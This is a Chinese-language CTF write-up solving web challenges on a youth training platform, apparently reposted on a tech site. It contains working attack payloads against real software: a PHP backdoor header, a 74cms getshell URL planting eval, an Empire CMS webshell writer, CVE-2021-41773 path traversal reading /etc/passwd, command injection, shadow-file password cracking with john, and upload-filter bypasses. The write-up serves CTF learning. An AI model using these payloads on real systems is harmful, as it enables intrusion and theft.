青少年CTF训练平台-WEB-部分wp
这两天因为别人问了下题目.打开后,闲着没事,去做了两道题目。顺便发出来wp.
Web签到
扫描发现备份文件
打开发现flag
easyupload
直接上传,然后获取flag
木马地址,通过扫描目录发现。
PHP的后门
直接添加请求头
user-agentt: zerodiumsystem(‘cat /flag’);
q1jun的小秘密
连接之后,查找具有suid
权限的命令
根据提示直接发现flag
提示说明没有中文
但是仍然错误,查看shadow,通过john破解密码
用户名后有$y,则表明密码已使用 yescrypt 进行哈希处理
指定format参数
john --format=crypt shadow
最后得到flag qsnctf{ikun_Do_Y0u_p1ay_b4sketba11}
新手的登录
使用提示的user账号登录之后
抓包修改cookie为admin。发包,得到flag
吃豆人
访问之后直接查看js文件,
发现base64编码,解码之后发现flag
F14G
抓包经过测试
验证请求头为: CF-Connecting-IP
参数为IP
这个规则比较重要.
所以我们直接发包即可
从0-255
然后提取flag
骑士CMS01
提示弱口令.访问后台
随便输入得到账号密码 为admin
/admin
查看版本发现是 74cms v 4.2.111
找到对应版本的POC
利用漏洞getshell
url: http://74cms.test/index.php?m=Admin&c=Tpl&a=set&tpl_dir= ', 'a',phpinfo(),'
shell地址: /Application/Home/Conf/config.php
url: http://74cms.test/index.php?m=Admin&c=Tpl&a=set&tpl_dir= ', 'a',eval($_REQUEST[a]),'$_REQUEST[a]
获取flag
POST&GET
ezupload
审计代码,发现黑名单中没有 php
后缀.
没有其他校验方式.直接上传即可。
<?php
@error_reporting(0);
date_default_timezone_set('America/Los_Angeles');
highlight_file(__FILE__);
if (isset($_POST['submit'])){
$file_name = trim($_FILES['upload_file']['name']);
$black = array(".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext);
if (!in_array($file_ext, $black)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = 'upload'.'/'.date("His").rand(114,514).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
}else {
$msg = '你传啥玩意??';
}
}
if($is_upload){
echo '呀,(传)进去了欸~';
}
?>
这是文件的路径.
$img_path = 'upload'.'/'.date("His").rand(114,514).$file_ext;
可以爆破出来,关键在于 date的时区在上面已经定义。
date_default_timezone_set('America/Los_Angeles');
为了尽可能的减少请求的次数,
在本地同步模拟发包时间,减小范围
这是载荷
获取flag
帝国CMS01
扫描目录发现备份文件
本来以为在里面发现sql文件需要登录后台。
不过在后台目录下面发现shell文件/
直接访问
获取flag
帝国CMS02
扫描目录发现备份文件已经删除了。
尝试弱口令,
admin
/ 123465789
登录成功。
在首页发现flag
帝国CMS03
尝试弱口令,
admin
/ 123465789
登录成功。
尝试利用 7.5版本的 后台命令执行漏洞
创建名为shell.php.mod的文件在本地,内容如下
注意转义,否则会失败
<?php file_put_contents("shell.php","<?php eval(\$_REQUEST[swback]); ?>"); ?>
在如下位置上传
获取flag
水文的一天
XX-API
任意文件读取漏洞
登陆后台
漏洞考察点: CVE_2021_41773
题目提示Apache
请求发现 apache版本为 2.4.49
找到CVE漏洞CVE-2021-41773
攻击者利用这个漏洞,可以读取到Apache服务器Web目录以外的其他文件,或者读取Web中的脚本源码,或者在开启cgi或cgid的服务器上执行任意命令。
两种方法:
第一种curl请求
curl -v --path-as-is http://IP地址/icons/../../../../etc/passwd
第二种:
GET /icons/../../../../flag HTTP/1.1
Host: IP地址
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Connection: close
浏览器直接访问url会失败
signin
<?php
highlight_file(__FILE__);
$filename = $_POST['filename'];
$data = $_POST['data'];
$black_list = ['php', 'php3', 'php4', 'php5', 'phtml', 'pht','ini','htaccess'];
if (!empty ($filename)){
if(!in_array(pathinfo($filename, PATHINFO_EXTENSION), $black_list, true)) {
file_put_contents($filename, $data);
}
}else{
echo "Welcome bro.";
}
绕过pathinfo,这里大小写可以绕过。
不过题目环境好像不解析大写PHP。
所以只能通过第二种方法:
在文件后面添加/.
进行绕过
获取flag
PingMe
命令执行
&cat flag.php
Web_unserialize
扫描目录发现备份文件
发现序列化代码
在nickname处可以进行数组绕过.所以我们构造的payload在 nickname处。
调用了update_profile()
函数
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
update
函数代码
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
filter
代码
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
构造Payload
<?php
class b
{
public $phone = "12345678901";
public $email = "163@163.com";
public $nickname = array("wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere");
public $photo = "config.php";
}
$a=new b();
$profile = serialize($a);
echo $profile;
?>
发送请求
解密base64
获取flag
这篇好文章是转载于:学新通技术网
- 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
- 本站站名: 学新通技术网
- 本文地址: /boutique/detail/tanhffifef
-
photoshop保存的图片太大微信发不了怎么办
PHP中文网 06-15 -
《学习通》视频自动暂停处理方法
HelloWorld317 07-05 -
word里面弄一个表格后上面的标题会跑到下面怎么办
PHP中文网 06-20 -
Android 11 保存文件到外部存储,并分享文件
Luke 10-12 -
photoshop扩展功能面板显示灰色怎么办
PHP中文网 06-14 -
微信公众号没有声音提示怎么办
PHP中文网 03-31 -
excel下划线不显示怎么办
PHP中文网 06-23 -
excel打印预览压线压字怎么办
PHP中文网 06-22 -
TikTok加速器哪个好免费的TK加速器推荐
TK小达人 10-01 -
怎样阻止微信小程序自动打开
PHP中文网 06-13